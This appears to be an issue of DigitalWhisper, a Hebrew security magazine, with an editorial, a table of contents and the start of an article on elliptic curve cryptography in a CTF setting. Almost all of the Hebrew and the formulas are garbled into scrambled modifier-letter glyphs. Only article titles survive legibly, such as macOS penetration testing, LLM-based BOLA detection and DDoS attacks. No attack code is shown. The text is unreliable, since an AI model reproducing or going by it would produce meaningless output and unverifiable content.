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˶˟ˡ ˶ˣ˰ˢ˨ 
 

ˣ˶˟˫˧˩ ˫˧˞˟ˢ ˭ˣ˧˪ˠ˪ s-мсс ˪˷ DigitalWhisper! 

 ˭ˣ˷˞˶ˢ ˭ˣ˧˪ˠˢ ˸˶ˠ˯ˬ˟ ˫˯˶ˣ˲˷ ˭˧ˤˠˬˢ ˶˟ˣ˦˵ˣ˞ ˭ˣ˧˪ˠ" ˢ˧ˢнллф"  ˞ˣˢˣ ˶ˣ˞ ˢ˞˶ ˧ˮ˲˪ ˵ˣ˧ˡ˟15 ˢˮ˷ . 

˩˞˷˶  ˦˵˧˧ˣ˶˲ ˫˧˴˧˶ˬˬ˩ˤˠˬˢ ˣ ˢ˲ˣ˵˸ ˨˷ˬ˟ ˢˤˢ ˭˧ˢ˩ˣ˶˞ˮ ,˫˧˲˷˥  ˫˧˶˟ˡ ˦˰ˬ ˞˪˪˫˧ˡ˥ˣ˧ˬ.  ˶˷˵ˢ

 ˶˴ˣˮ˷ ˫˰˟ˣ ,˫˧˟˸ˣ˩ˢ ˫˰ ˡˣ˥˧˧˩ ˡ˥˞ ˶ˬ˞ˬˬ ˶˸ˣ˧ ˫˧˟˸ˣ˩ˢ ˢ˪˞-  ˞ˣˢ˸ˣ ˱˧˩ ˡ˧ˬˣˮ˧ˬ˟ ˡ˥ˣ˧ˬ.  ˫˰ ˞˪

˶˷˵ˢ ˫ˢˬ ˦˰ˬ  ˱˞ ˶˟˰ ˸˞ˢ˫˧˧˪˦˧ˠ˧ˡˢ ˸ˣ˪ˣ˟ˠ x ˞˴˧ ˣˮ˷ˠ˲ˮ˷˟ ,˫˧˯ˮ˩ ˸˶ˠ˯ˬ˫˧˦˵˧˧ˣ˶˲  ˣ˞ ˫˸˯

 ˢ˩˩ˢ˶˵ˬ˟.  ˧˪ ˞˴˧ ˫˵˪˥ ˫˰˫ˠ ˪˴˶˞˟ ˫˧˵˶˦˪ ˸˞ ˳ ˣ˪˧˲˞ ˣ˞˟ ˡ˧˯˲ˢ˪ˬ˥˷ ˵˥˷ ˤ˧˶ˤ (:. 

˥ˮ ˫˸˞ ,˫˧˞˶ˣ˵ ˶ˣ˸˟˷˲ ˫˧ ˵˶ ˶ˣ˸˟ ˨˞ ,˧˲ˣ˯ˢ ˶˴ˣ˸˪ˢ˩˧˶˰ˢ ˸˩˞˪ˬ˟ ˵˯˰˸ˬ˷ ˧ˬ  ˶˷˵˟ ˞˴ˬˮˣ

˫˧˟˸ˣ˩ˢ ˫˰ ˰ˣ˟˵ ˧˪ ˞˴ˣ˧ ,˸ˣˣ˥˪ ) ˶˵˧˰˟˫˧˶˧˰˴ˢ ˫˧˟˸ˣ˩ˢ ˫˰(,  ˸˞ˢ ˰˯ˬ ˶˟ˣ˰˷ˢ ˭ˬˤ˟ ˟˸ˣ˩

˟˧˸˩ˢ.s ˸ˣ˞˶˪ˣ  ˨˧˞,˫˧˶˵ˬ ˢ˟˶ˢ˟ ˶ˬ˞ˬ˪ ˭ˣ˧˰˶ ˬ ˨˲ˣˢ˫ˑ˪ˑ̍  ˫˸˯ˣ˭ˣ˧˰˶ x˟˯ ˧ˮ˧˴˶ ˶ˬ˞ˬ ˧ˡ˩˪ ˧˶

ˡ˟ˣ˩ˬˣ )˞ ˣ˞ ˯˱˫˧˶ˬ˞ˬ ˸˶ˡ(. ˭˟ˣˬ˩ˣ -  ˱˧˩ ˡ˧ˬ˸ ˸ˣ˞˶˪ ˡ˴ˢˬ ˨˧˞ˢ ˟˸ˣ˩˶˲˸˷ˬ  ˫˧ˮˣ˵˧˸ˢ ˶ˣ˞˪

˭ˬˤˢ ˫˰ ˶˸ˣ˧ ˟ˣ˦ ˢ˧ˢˮˣ ˫˧˞˟ˢ ˫˧˶ˬ˞ˬ˟ ˸˞ˤ ˫˷˧˧ˬˣ . ˭˟ˣˬ˩ ˷˧˷˫ˠ  ˦˰ˬ ˞˪˫˧˟˸ˣ˩  ˫˰ ˫˧˰˧ˠˬˢ

ˣ˧˯˧ˮ ˵˧˲˯ˬ˩˧˶˰ˢ ˸˩˞˪ˬ ˪˰ ˸˧˸ˣ˰ˬ˷ˬ ˪˵ˬ˷ ˭ s(:. 

-˟15  ,˸ˣˮˣ˶˥˞ˢ ˫˧ˮ˷ˢ .˫˧˟˸ˣ˩ˢ ˧ˣˣ˧˪ ˸˶ˠ˯ˬ˟ ˫˧ˮ˧˧ˮ˰ˬ ˫˧˶˟ˡ ˦˰ˬ ˞˪ ˸ˣ˞˶˪ ˧˪ ˞˴˧ ˨˶ˣ˞˪˧ˮ˷ˢ ˫

 ˢ˪˞ˢˬ˯˶ˣ˲ ˦˰ˬ˩ ˣ800  ,˫˧˶ˬ˞ˬ ˸˥˦˟˞˪ ˶˷˵˸ˬ˷ ˣ˧˪˰ ˟ˣ˷˥˪ ˶˷˲˞˷ ˫ˣ˥˸ ˪˩˟ ˦˰ˬ˩ ,ˢ˞˶ˮ˩

ˠˮ˧˵˞ˢˣ ˰ˡ˧ˬ.  ˢ˪˞ˢ ˫˧˶ˬ˞ˬˢ ˣ˟˸˩ˮ"˰ˬ ˶˸ˣ˧ ˧-прл .˫˧ˮˣ˷ ˫˧˟˸ˣ˩ ˪ ˟˦˧ˬ ,˧ˮˣ˶˩ˤˢ ˟˸ˣ˩ˢ ˶˧˰˴

 ˶˸ˣ˧˟ ˭˟ ˢ˧ˢ ˶ˬ˞ˬ ˟˸˩˷мп ,ˣ ˧ˮˣ˶˩ˤ ˟˦˧ˬ˪ˢˤ˩ ˡ˥˞ ˵˶ ˢ˧ˢ.  ˫˧˶ˣ˩ˤ ˫ˠ ˧˪ ˣ˟˸˩˷ ˫˧˟˸ˣ˩ ˧ˮ˷ ˸ˣ˥˲˪

 ˶ˬ˞ˬ˞˟˴ˢ ˧ˮ˲˪ x ˶˲˯ˬ ˭˩ˬ ˶˥˞˪ ˫˧ˮ˷- sˬ˧˵ˣ ˫ˣ˥˸˟ ˲˞˦˶˞˦˯ ˣ˦˧ˤ˵˞ ˣ˷˰ (:. 

 ˢ˶˵ˬ ˫ˠ ˧˪ ˶ˣ˩ˤ ˫˧˰ˮ ˸ˣ˥˲ˣ˟˷  ˟˸ˣ˩ˣ ˶ˬ˞ˬ ˟˸˩ ˭˩ˬ ˶˥˞˪ ˞˪˩˪ ˯ˮ˩ˮ) ˪˰ ˞˪ ˫˴˰ ˶ˬ˞ˬˢ ˸˟˧˸˩

˞˪˞  ˫ˣ˥˸˟ ˧˪˧˪˲ ˵ˣ˯˧˰ ˪˰˶ˬ˞ˬˢ ˟˸˩ˮ ˣ˧˪˰˷( ˡˣ˰ˣ ˣ˥˲˪˧ˮ˷ ˸ ˬ ˫˧˶˵ ˫˧ˮˣ˷ˢ˟˷ ˫ ˦˰ˬ˩ ˫˧˟˸ˣ˩

ˣ˯ˮ˩ˮ˞˪˩˪ ˣ ˧˞˟˴ ˣ˟˵˰˟ ˸ ˸˟˧˸˩ˢ˶ˬ˞ˬ ˧ˮ˞˷ ˨˩ ,˸ˣˮˣ˩ˮˢ ˸ˣ˪˞˷ˢ ˸˞ ˪ˣ˞˷˪ ˧˸ˡˬ˪ ˧ˮ˞ ˫ˠ ˤ˞ˬ ,

 ˫ˬ˴˰ ˪˰ ˣ˶ˤ˥˧ ˞˪ ˢ˪˞˩ ˫˧˶˟ˡ˷ ˢˣˣ˵ˬ ˡ˧˸˰˟(:.  ˫˧˶ˣ˩ˤ ˸˞˷ ˫˧˶ˬ˞ˬ ˦˰ˬ ˞˪ ˫ˠ ˧˪˶˵˥ˬ ˨˷ˬˢˢ ˧

˫ˢ˧˪˰ ˫˧˟˸ˣ˩ˢ ,˧˯ˮ˩˟ ˣˠ˧˴ˢ ˠˮ˧˵˞ˢ  ˫˧˪ˣˡˠ˟˟ˣ ˳˶˞˫˪ˣ˰. 

 ˸˩˧˶˰˫ˢ˟ ˶˩ˤˢ˪ ˱˧˩˷ ˫˧ˮ˧˧ˮ˰ˬ ˫˧˶ˣ˲˧˯ ˢ˟˶ˢ ˢ˸˧˞ ˢ˞˧˟ˬ ˢˤˢ ˭˧ˤˠˬˢ ˸ˣˮˣ˧˪ˠ ˨˞ , ˞˵ˣˣˡ ˡ˥˞

˧˶ ˧˩ˢ˷ ˫˧˶˵ˬˢ ˧˸ˣ˞ ˷ˠ˭˧ˤˠˬˢ ˸˩˧˶˰ ˸˶ˠ˯ˬ˟  ˢ˶˵.˭ˣ˶˥˞ˢ ˭ˣ˧˪ˠ˟ ˞˵ˣˣˡ 

 ˸˶ˠ˯ˬ˟ ˸˥˞ ˫˰ ˸ˣ˧ˣ˟˸˩˸ˢˢ˞ ˡ˥˫˧˟˸ˣ˩ˢ ,˧˪ ˶˯ˬˮ l" ˷ˬ˞ ˞ˣˢ˷ ˧˸˟˷˥˷ ˧ˬ˥˶ˬ˞ˬˢ ˟˸ˣ˩ ˪˷ ˣ˧ 

) ˫ˠ˷ ˞ˣˢˠˢ˧ ˶˟˰˟ ˷˭˧ˤˠˬ˪ ˶ˬ˞ˬ(. ˩ ˧˸˶˶˧˟˷˷ ˧˸ˮ˟ˢ ˫˧˟˸ˣ˩ˢ ˭˧˟ ˢ˟˶˵ˢ ˢˬ ˭˧˟ ˶˷˵˟ ˶˟ˣˡˬ ˞˪

 ˞˪˞ ,˫˧˥˞ ˧ˮ˷ ˶˟ˣˡˬ˷ .˭˟ˣ ˟˞˟ 
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 ˟˞ˢ ˶ˬ˞ˬˢ ˸˞ ˷˧ˠˢ ˦˰ˬ˩ ˧ˮ˲˪ ˭˧ˤˠˬ˪10  ,˫˧ˮ˷ ˢ˧ˢ ˣˮ˟ ˶˷˞˩˪˧ˠ ˶ˣˤ˧˞˟ 5 ˰˧ˠˢ ˭˟ˢ ˶˷˞˩ ,˸˰˩ˣ ,

 ˪˧ˠ˪15 , ˣ˶ˣ˸ ˣ˰˧ˠˢ- xˣˬ˴˰˟ ˶ˬ˞ˬ ˷˧ˠˢ ˞ˣˢ! x,˟ˠ˞ x ˪˧ˠˢ ˸ˣ˶ˬ˪- ˢˤˢ ˶ˬ˞ˬˢ  ˫˧˶ˬ˞ˬˢ ˡ˥˞ ˢ˧ˢ

ˢ ˶˸ˣ˧ ˫˧˧ˮ˩˦ ˫˧˧˶˵˥ˬˬˣ˭ˣ˧˪ˠˢ ˣ˸ˣ˞˟ (: 

 ˪˟˞,ˣ˩˥ ˷ˠ˶ˬˢ ˵˪˥˪ ˧˸˰ˠˢ ˞˪ ˡˣ˰˷ˡˣ˥ˢ˷ ˧˸ˮ˟ˢ˷˩ ˢ˧ˢ ˷ˠ˶ˬˢ ˵˪˥ˢ ,,  ˸ˡ˪ˣˢ ˫ˣ˧ ˠˠˣ˥ ˭˧ˤˠˬˢ

15. x ˤ˞ ˧˪ ˟˸˩˷ ,˟˸ˣ˩ ˣ˸ˣ˞˟ ˧˸˶˩ˤˮˣ˥˲ ˸˴˵ ˧ˮ˲˪ ˸ ˷ˡˣ˥ˬ˷ ˫ˠ ˭˟ ˞ˣˢ15. ˬ ˢ ˭ˣ˧˪ˠˢ˷ ˶ˬˣ˞˷

˩ ˞˴˧ ˭ˣ˷˞˶ˢ ˡ˪ˣˮ ˨˶ ˢ˧ˢ ˞ˣˢ ˶˷˞ ˵˶ˣ ˭˟ ˶˲˯ˬ˫˧ˡˡˣ˟ ˫˧˷ˡˣ˥ ˢ˞˶ˮ˩ˣ ,ˣˮ˪˥˸ˢ ˧ˮ˞ˣ ˶˧ˮ˷  ˨ˣ˶˰˪

ˣ˸ˣ˞ ˡ˪ˣˮ ˞ˣˢ˷ ˧ˮ˲˪ ˡˣ˰...  ˧˸ˣ˞ ˷ˠ˧˶ ˢˤˢ ˶ˣ˲˧˯ˢˬ ˡˣ˞ ˸ˣ˩ˤ˟ ˳˶ ˢˤˢ ˦˵˧˧ˣ˶˲ˢ ˭ˬˤ ˢˬ˩ ˧˪ ˶˧˩ˤˢˣ

ˢ˪˧ˢ˵ˢ .ˣˮ˪˷ ˢˬ˧ˢˡˬˢ 

 ˢ˧ˢ˧,˷ˬˬ ˷ˠ˶ˬ  ˶˷˞˩˫˯˶˲ˮ ˰ ˟˸˩ˮ˷ ˶ˬ˞ˬ ,˭˧ˤˠˬˢ ˸˶ˠ˯ˬ˟" ˟˸ˣ˩ ˧ ˭˧ˤˠˬˢ ˪˧ˠˬ ˶˧˰˴ ˞ˣˢ˷

 ˶˴ˣˮ ˭˧ˤˠˬˢˣ ˡˣ˰˧ˮ˲˪ ˡ˪ˣˮ ˞ˣˢ˷,  ˭˧ˤˠˬˢ ˫˰ ˢ˶ˣ˵˷ ˣˬ˩ ˸˴˵ ˨˶˰˟Phrack ˣ˪˷ ˭ˣ˷˞˶ˢ ˭ˣ˧˪ˠˢ˷ ,

 ˫˯˶ˣ˲˟˷ˮ ˸1985 ˶˷ ˶˧˟˯ ˫ˣ˧˩ˣˣ ˫˧˶ˬ˞ˬ ˣ˪ ˟˸ˣ˩˷ ˧ˬ ˟-  ˶˧˰˴˭˧ˤˠˬˢˬ (: 

 ˞ˤ ˡ˧ˠˢ˪ ˡ˟˪ˬ ,ˣˢˤ˫˩˪ ,˫˧˞˶ˣ˵ˢ  ˫˧˟˧˦˵˞ˢˣ ˫˧˧˟˧˯˞˲ˢ).˫˧˶ˬ˞ˬˢ ˧˟˸ˣ˩..(,  ˪˰ ˢ˟˶ ˢˡˣ˸˨˩ 

 ˫˧˶ˬ˞ˬ ˷˧ˠˢ˪ˣ ˰˧˴ˢ˪ˣ ˭˧ˤˠˬ˪ ˸ˣˮ˲˪ ˫˧˩˧˷ˬˬ ˫˸˞˷- ˞˪ ˪ ˞˪˞ ˧˪ ˶˸ˣˮ ˧ˬ ˪˩˪ ˢˡˣ˸ ˡ˧ˠˢ ˟˷˧˷

 ˣˮˬˤˬ ˰˧˵˷ˢˣ˶ˬ˞ˬ ˣˮ˪ ˟˸˩ˣ ˷ˡˣ˥ˢ .ˡˣ˸˪ ˢ˟˶ ˢ˧˵˯˵ ˧˪˞, ˡˣ˸˪ ˢ˟˶ ˢ'˳˧˟ˣˮ˧˟˶ ˪˞˧ˮˡ, ˡˣ˸ ˢ˟˶ ˢ

˪˭˧ˮ˧ˬ ˢ˧˪ˣ˧, ˡˣ˸ ˢ˟˶ ˢ˪˸˪˧ˠ ˧˷, ˡˣ˸ ˢ˟˶ ˢ˪˭ˣˤˬ ˡ˧˟˶, ˡˣ˸ ˢ˟˶ ˢ˪˞˧˟˪ ˶ˣ˟˸, ˡˣ˸ ˢ˟˶ ˢ˪ ˭ˣ˪˞

˭ˬ˶˟˪˧ˤ ˪˦, ˡˣ˸ ˢ˟˶ ˢ˪ ˭ˢ˩ ˢˡˣˢ˧ˣˡˣ˸ ˢ˟˶ ˢ˪˫ˣ˥ˮ ˧˷! 

 ˢ˞˧˶˵ ˢˬ˧˰ˮ, 

 ˵˧˲˞ ˪˞˧˦˯˵ 
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˭˩ˣ˸ ˫˧ˮ˧˧ˮ˰ 
 

˶˟ˡ ˨˶ˣ˰ˢ н 

˭˩ˣ˸ ˫˧ˮ˧˧ˮ˰ п 

 ˪˰ ˸ˣ˰ˣˡ˧ ˸ˣ˲˵˸ˢElliptic Curve Cyptography р 

Penetration Testing of macOS Applications пт 

˟ˣˤ˰ ,ˢˤ ˨˧˪˰ˬ тф 

BOLABuster Υ˞ˣ˴ˬ˪ BOLA ˪˧˧˵˯˟ ˸˶ˤ˰˟ LLMs млт 

UDP and TCP DDoS Attacks ммф 

˸ˬ˞ ˭ˬˤ˟ ˸ˣ˧ˬ˧˦˧ˠ˪ ˸ˣ˵˧ˮ˩˦˟ ˠˮ˧˷˧˲ ˭˧˧˲ˬ˵ ˸˲˧˶˷ :˪ˤ˶˟ ˧˯˧˦˶˩ мос 

˫ˣ˩˧˯ ˧˶˟ˡ мсп 
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 ˪˰ ˸ˣ˰ˣˡ˧ ˸ˣ˲˵˸ˢElliptic Curve Cyptography 

˸˞ˬ ˧˵˯˵ ˧˪˞ 

ˢˬˡ˵ˢ 

ˢ ˸˷˧ˠ ˸ˣˮˣ˶˥˞ˢ ˫˧ˮ˷˟-Elliptic Curve Cryptography ˧˧ˢˮ ˪˷˟ ˫˪ˣ˰˟ ˶˸ˣ˧ˣ ˶˸ˣ˧ ˸˧˶˪ˣ˲ˣ˲ ˢ˸

 ˸ˣ˧ˣ˶˥˸ ˸ˣ˟˵˰˟ ˢ˞˟ ˢˤˢ ˞˷ˣˮˢ ˪˰ ˢˡ˧ˬ˪˪ ˧˪˷ ˢ˧˴˟˧˦ˣˬˢ .ˢ˪˷ ˢˢˣ˟ˠˢ ˸ˣ˥˧˦˟ˢˣ ˢ˪˷ ˸ˣ˪˧˰˧ˢ

Capture The Flag )CTF ˢ˪˞ ˸ˣ˧ˣ˶˥˸˟ ˧˧˪˰ ˢ˟ˣˢ˞ˢ ˢ˧˶ˣˠ˦˵ˢ .˰ˣ˟˵ ˭˲ˣ˞˟ ˭ˢ˟ ˱˸˸˷ˢ˪ ˠˢˣˮ ˧ˮ˞˷ (

˧˧ˮ˰ˬ ˡˣ˞ˬ ˢˤˢ ˫˪ˣ˰ˢ ˪˩ ˧˪˪˩˟ˣ ,ˢ˧˲˶ˠˣ˦˲˧˶˵ ˞˧ˢ ˣ˪˩ˣ˧ ˫˧˶˥˞˷ ˧˪˟ˬ ˰ˡ˧ˬ ˞˧˟˥ˢ˪ ˸˪ˣ˩˧ˢ .˧˸ˣ˞ ˭

 ,ˢ˸ˣ˞ ˭˧˟ˢ˪ ˪˩ˣ˧ ˢ˸ˣ˞ ˪˟˵˪ ˶ˣˬ˞˷ ˧ˬ ˵˶˷ ˥ˣ˦˟ ˸ˣ˧ˢ˪ˣ ,ˢ˸ˣ˞ ˳˧˲ˢ˪ ,ˢ˰ˡˣˢ ˭˧˲˴ˢ˪ ˣ˞ ,ˣ˸ˣ˞ ˞ˣ˶˵˪

.˫ˢ˟ ˵ˣ˯˰˪ˣ ˡˣˬ˪˪ ˟ˢˣ˞ ˧ˮ˞˷ ˫˧˞˷ˣˮ ˢ˪˞ 

 ˨˞ ˡ˧ˬ˸˩ ˧˸˪˵˸ˮ˷ ˶ˠ˸˞˟CTF ˟ ˵˯ˣ˰˷-Elliptic Curve Cryptography ˷˞˶ˬ ˣ˧˪˰ ˧˸˶˸˧ˣ  ˧˩ ˫˪ˣ˰ˬ

 ˢˬ ˪˩˟ .ˢ˷˵ ˢ˧ˢ ˢˡ˧ˬ˪ˢ ˨˧˪ˢ˸ .ˢˤ ˸˞ ˸ˣˮ˷˪ ˧˸˦˪˥ˢ ˡ˥˞ ˫ˣ˧˷ ˡ˰ .ˢˤˢ ˞˷ˣˮˢ ˸˞ ˧˸ˡˬ˪ ˞˪

 .˸˧˟˧˦˧˞ˣ˦ˮ˧˞ ˢ˶ˣ˴˟ ˫˧˦˲˯ˮˣ˵ ˫˧˶˧˟˯ˬ˷ ˢ˦ˣ˷˲ ˢ˲˷˟ ˫˧˶ˬˣ˥ ˞ˣ˴ˬ˪ ˧˸˥˪˴ˢ ˞˪ ,˸ˣ˲˵˸ˬ˪ ˶ˣ˷˵˷

˟ .˧˪˷ ˢˮ˟ˢ˪ ˢˢˣ˟ˠ ˧ˡˬ ˶˸ˣ˧ ˢ˟˶ˢ ˢˬ˶˟ ˢ˵˧˦ˬ˸ˬ ˫˰ ˫˧˧ˬˡ˵˞ ˫˧˶ˬ˞ˬ ˶˵˧˰˟ ˧˸˞˴ˬ ˟˪˷ ˣˢ˷ˤ˧˞

 ˸ˣ˰˲ˣ˸˪ ˯˥˧˧˸ˢ˪ ˱˧ˡ˰ˣ ,˸˧˦ˬ˸ˬ ˢˮˣ˩˸ ˣ˞ ˢ˥˩ˣˢ ˪˩ ˵ˬˣ˰˪ ˭˧˟ˢ˪ ˫˰˦ ˭˧˞˷ ˢˮ˵˯ˬ˪ ˧˸˰ˠˢ

˩ ˸ˣ˧˦ˬ˸ˬ-Black Box ,˫ˠ ˨˩ ˪˰ ˫˧˴˧˪ˬˬ ˫˧˷ˮ˞ ˡˣ˰˷ ˧˸˧˞˶ ˢˡ˧ˬ˪˟ ˧˸ˬˡ˵˸ˢ˷ ˪˩˩ ,ˡ˟˰˧ˡ˟ .

.ˢˬ˴˰ ˸˧˶˟ˠ˪˞ˢ ˢ˧˶˦ˬˣ˞ˠ˟ ˞˪ˣ ˧˲˶ˠˣ˦˲˧˶˵ˢ ˫ˣ˷˧˧˟ ˭˧˧ˮ˰˸ˬ ˞˶ˣ˵ˢ˷ ˢ˥ˮˢ˟ 

ˬ ˪˷ ˢ˶˦ˬˢ ˸˧˯˥˧ ˢ˶ˣ˶˟ ˶˸ˣ˧ ˢ˶ˣ˴˟ ˣ˸ˣ˞ ˶˧˟˰ˢ˪ ˢˣˣ˵˸˟ˣ ˧˸˞˴ˬ˷ ˶ˬˣ˥ˢ ˸˞ ˷˧ˠˮˢ˪ ˞˧ˢ ˢˤ ˶ˬ˞

 ˶˧˟˯ˢ˪ˣ ˷˞˶˟ ˶ˡ˯ ˧ˬ˴˰˪ ˸ˣ˷˰˪ ˧ˡ˩ ˫ˠ ˣ˸ˣ˞ ˧˸˟˸˩ ,˱˯ˣˮ˟ .˦ˮ˶˦ˮ˧˞˟ ˫ˣ˧˩ ˫˧˧˵ ˞ˣˢ ˢ˟˷ ˢ˶ˣ˴˪

.˵ˬˣ˰˪ ˢˤˢ ˞˷ˣˮˢ ˸˞ ˭˧˟˞ ˸ˬ˞˟ ˧ˮ˞˷ ˧ˡ˩ ˫˧˶˟ˡ ˧ˬ˴˰˪ 

,˸ˣ˧˦˲˧˪˞ ˸ˣˬˣ˵˰ ˭ˢ ˢˬ ˠ˧˴˞ ˧ˮ˞ ˢˤ ˶ˬ˞ˬ˟  ˸ˣ˷˰˪ ˭˸˧ˮ ˢˬˣ ,˭ˢ˟ ˸ˣ˶ˡˠˣˬ˷ ˸ˣ˧˯˧˯˟ˢ ˸ˣ˪ˣ˰˲ˢ ˸˞

 ˫˧˷ˣˬ˧˷ ˣ˞ ˫˧˷ˣˬ˧ˬ ˪˰ ˸ˣ˰ˣˡ˧ ˸ˣ˲˵˸ˬ ˪˷ ˸ˣ˞ˬˠˣˡˬ ˟˩˶ˣˬ ˶ˬ˞ˬˢ ˶˵˧˰ .˧˲˶ˠˣ˦˲˧˶˵ ˶˷˵ˢ˟ ˭˸˧˞

ˣ ˧˟˧˦˧˞ˣ˦ˮ˧˞ ˵˪˥˪ ˶˟˯ˢˢ ˸˞ ˡ˧˶˲ˢ˪ ˪ˡ˸˷ˬ ˧ˮ˞ ˶ˬ˞ˬˢ ˨˶ˣ˞ ˪˩˪ .˭ˢ˟ ˫˧˧ˣˠ˷-High Level ˵˪˥˪ˣ ,

ˣ˵ˢ .˫˧˦˶˲˪ ˯ˮ˩ˮ ˶˸ˣ˧˷ ˧˦ˬ˸ˬ ,˫ˣ˵ˬˢ ˣ˸ˣ˞˟ ˣ˸ˣ˞ ˫˧ˮ˧˧ˮ˰ˬ˷ ˫˧˵˪˥ˢˬ ˢˤ˧˞˟ ˡ˵ˬ˸ˢ˪ ˭ˬˤˣˬ ˞˶

.˸ˣ˥˲˷ ˫˧˵˪˥ˢ ˪˰ ˠ˪ˡ˪ˣ 

!ˢˮˢˬ ˢ˞˧˶˵ 
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˸ˣ˧˦˲˧˪˞ ˸ˣˬˣ˵˰˪ ˞ˣ˟ˬ 

˸˧˦˧˲˪˞ ˢˬˣ˵˰ 

 ,ˢ˪ˣ˟˶˲ˢ ˞˧ˢ ˨˩˪ ˞ˬˠˣˡ .˶˷˧ ˞˪ ˶ˬˣ˪˩ ,"˫ˣ˵˰" ˣ˵ ˣˢ˷ˤ˧˞ ˞˧ˢ ˸˧˦˲˧˪˞ ˢˬˣ˵˰ ˧˪˪˩ ˭˲ˣ˞˟

 ˢ˶ˣ˴ˢˬ ˞˧ˢ ˢ˪˷ ˢ˞ˣˣ˷ˬˢ˷ώ ὥὼ ὦὼὧ :˨˩ ˸˧˞˶ˮ ˞˧ˢˣ 

 

:ˢ˶ˣ˴ˢˬ ˞˧ˢ ˭ˢ˪˷ ˢ˞ˣˣ˷ˬˢ˷ ˸ˣ˧˦˲˧˪˞ ˸ˣˬˣ˵˰˟ ˷ˬ˸˷ˢ˪ ˠˣˢˮ ,ˢ˧˲˶ˠˣ˦˲˧˶˵ ˪˷ ˶˷˵ˢ˟ 

ώ ὼ ὥὼ ὦ 

 ˢ˞ˣˣ˷ˬ˪ ˢˬ˧˞˸ˬˢ ˸˧˦˲˧˪˞ ˢˬˣ˵˰ ˸˧˞˶ˮ ˪˷ˬ˪ ˨˩ώ ὼ σὼ σ : 

 

ˢ ˨˶˰ ˭˧˟ ˯˥˧ˢ ˸˞ ˣˮ˪ ˢ˶˧ˡˠˬ ˢˬˣ˵˰ˢ ˸˞ˣˣ˷ˬ-ὼ ˨˶˰˪ ˢˬˣ˵˰ˢ ˪˰ ˢˡˣ˵ˮ ˪˷ s-ώ  ˢ˸ˣ˞ ˪˷

 ˸˞ ˫˧˪˧˟ˠˬ ,˧˲˶ˠˣ˦˲˧˶˵ ˶˷˵ˢ˟ .ˢˡˣ˵ˮˢὼȟώȟὥȟὦ  ˫˧˟ˣ˷˧˥ˢ ˸˞ ˫˧˪˧˟ˠˬˣ ,˫˧ˬ˪˷ ˫˧˶˲˯ˬ ˸ˣ˧ˢ˪

 ˶˲˯ˬ ˣ˪ˣˡˣˬ ˸ˣ˧ˢ˪ὴ :˞˧ˢ ˸˧˦˲˧˪˞ˢ ˢˬˣ˵˰ˢ ˸˞ˣˣ˷ˬ ˤ˞ .ˣˢ˷˪˩ ˪ˣˡˠ ˧ˮˣ˷˞˶ 

ώ ὼ ὥὼ ὦ άέὨ ὴ 

ˣˡˣ˵ˮ ˪˷ ˧˲ˣ˯ ˶˲˯ˬ ˣˮ˪ ˷˧˷ ˨˩˪ ˫˶ˣˠ ˢˤˢ ˶˟ˡˢ ˸˶ˡˠˣˬ ˢˬˣ˵˰ˢ ,˸˧˦ˬ˸ˬ ˢ˲˷˟ .ˢˬˣ˵˰ˢ ˪˰ ˸

 ˶ˡ˯ˬ ˧˲ˣ˯ ˢˡ˷ ˪˰ˬ ˸ˣ˧ˢ˪ὴ ˨˶˰ ˪˩˪ ˥˶˩ˢ˟ ˞˪ ˣ˧˷˩˰ ˨˩ˬ ˢ˞˴ˣ˸˩ .ὼ  ˪˰ ˢˬ˧˞˸ˬ ˢˡˣ˵ˮ ˢ˧ˢ˸

 ˢˬˣ˵˰ˢ- ˢ ˨˶˰˷ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˧˩-ώ .˫˪˷ ˶˲˯ˬ ˞˪ ˞ˣˢ ˣ˪ ˫˧˞˸ˬˢ 
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ˢˬˣ˵˰ˢ ˪˰ ˸ˣˡˣ˵ˮ 

 ˫˧ˬ˪˷ ˫˧˶˲˯ˬ ˪˷ ˸ˣˠˣˤˬ ˟˩˶ˣˬ ˢˬˣ˵˰ˢ ˪˰ ˸ˣˡˣ˵ˮˢ ˱˯ˣ˞ὼȟώ  .ˢˬˣ˵˰ˢ ˸˞ˣˣ˷ˬ ˸˞ ˫˧ˬ˧˧˵ˬˢ

) "˱ˣ˯ˮ˧˞" ˫˷˟ ˸ˡ˥ˣ˧ˬ ˸˲˯ˣˮ ˢˡˣ˵ˮ ˫˧˶˧ˡˠˬ ,ˢ˪˞ˢ ˸ˣˡˣ˵ˮ˪ ˱˯ˣˮ˟Infinity˟ ˸ˮˬˣ˯ˬ ˞˧ˢˣ ,(-ַײ .

 ,˶ˣ˟˧˥ˢ ˸˪ˣ˰˲˪ ˯˥˧˟ ˢˬˣ˵˰ˢ ˪˰ ˸ˣˡˣ˵ˮˢ ˱˯ˣ˞ ˪˷ ˧˪˶˦˧˧ˮˢ ˶˟˧˞ˢ ˞˧ˢ ˣˤ ˢˡˣ˵ˮ ,˸˧˦ˬ˸ˬ ˢ˲˷˟

˵˰ˢ ˪˰ ˸ˣ˞˴ˬˮ˷ ˸ˣˡˣ˵ˮˢ ˶˲˯ˬ .ˡ˧ˬ ˶˧ˡˠˮ ˢ˸ˣ˞˷ ˢˡˣ˵ˮˢ ˪˪ˣ˩) ˢˬˣַײ."ˢˬˣ˵˰ˢ ˪˷ ˶ˡ˯ˢ" ˞˶˵ˮ ( 

ˢ ˶˧˴˪ ˯˥˧˟ ˸ˣ˧˶˦ˬ˧˯ ˭ˢ ˸ˣ˧˦˲˧˪˞ ˸ˣˬˣ˵˰˷ ˞˧ˢ ˸˲˯ˣˮ ˢˮ˥˟˞-ὢ ˢˡˣ˵ˮˢ ˫˞˷ ˶ˬˣ˞˷ ˢˬ .

ὖ ὼȟώ  ˢˡˣ˵ˮˢ ˫ˠ ˤ˞ ,ˢˬˣ˵˰ˢ ˪˰ ˸˞˴ˬˮὖ ὼȟώ .ˢˬˣ˵˰ˢ ˪˰ ˸˞˴ˬˮ  ˸ˣˡˣ˵ˮ ,ˢ˷˰ˬ˪

ˬ˧˯ˢ ˭˞˩ˬ) ˢ˧ˮ˷ˢ ˪˷ ˸˥˞ "˸ˣ˧˩˲ˣˢ" ˸ˣ˟˷˥ˮ ˢ˪˞" ˭ˣὖ ˶ˣ˟˧˥ˢ ˸˪ˣ˰˲ ˸˞˴ˣ˸ˣ ,(ˢ˧ˮ˷ˢ ˢˡˣ˵ˮ˪ "

 ˧˪˶˦˧˧ˮˢ ˶˟˧˞ˢ ˸ˣ˧ˢ˪ ˸˶ˡˠˣˬ ˭ˢ˧ˮ˧˟ַײ. 

